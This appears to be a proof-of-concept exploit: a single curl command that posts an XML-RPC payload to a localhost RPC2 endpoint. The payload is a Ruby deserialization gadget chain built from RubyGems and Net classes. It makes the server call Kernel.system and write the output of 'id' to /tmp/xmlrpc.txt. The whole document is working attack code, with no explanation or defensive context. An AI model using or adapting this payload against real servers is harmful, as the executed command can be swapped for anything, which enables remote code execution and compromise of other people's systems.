curl -i -s -k -X 'POST' --data-binary '<?xml version=\"1.0\" ?><methodCall><methodName>greeting</methodName><params><param><value><array><data><value><struct><member><name>___class___</name><value><string>Gem::Installer</string></value></member><member><name>i</name><value><string>x</string></value></member></struct></value><value><struct><member><name>___class___</name><value><string>Gem::SpecFetcher</string></value></member><member><name>i</name><value><string>y</string></value></member></struct></value><value><struct><member><name>___class___</name><value><string>Gem::Requirement</string></value></member><member><name>requirements</name><value><struct><member><name>___class___</name><value><string>Gem::Package::TarReader</string></value></member><member><name>io</name><value><struct><member><name>___class___</name><value><string>Net::BufferedIO</string></value></member><member><name>io</name><value><struct><member><name>___class___</name><value><string>Gem::Package::TarReader::Entry</string></value></member><member><name>read</name><value><i4>0</i4></value></member><member><name>header</name><value><string>abc</string></value></member></struct></value></member><member><name>debug_output</name><value><struct><member><name>___class___</name><value><string>Net::WriteAdapter</string></value></member><member><name>socket</name><value><struct><member><name>___class___</name><value><string>Gem::RequestSet</string></value></member><member><name>sets</name><value><struct><member><name>___class___</name><value><string>Net::WriteAdapter</string></value></member><member><name>socket</name><value><string>Kernel</string></value></member><member><name>method_id</name><value><string>system</string></value></member></struct></value></member><member><name>git_set</name><value><string>id >/tmp/xmlrpc.txt</string></value></member></struct></value></member><member><name>method_id</name><value><string>resolve</string></value></member></struct></value></member></struct></value></member><member><name>method_id</name><value><string>resolve</string></value></member></struct></value></member></struct></value></data></array></value></param></params></methodCall>' 'http://localhost:8080/RPC2'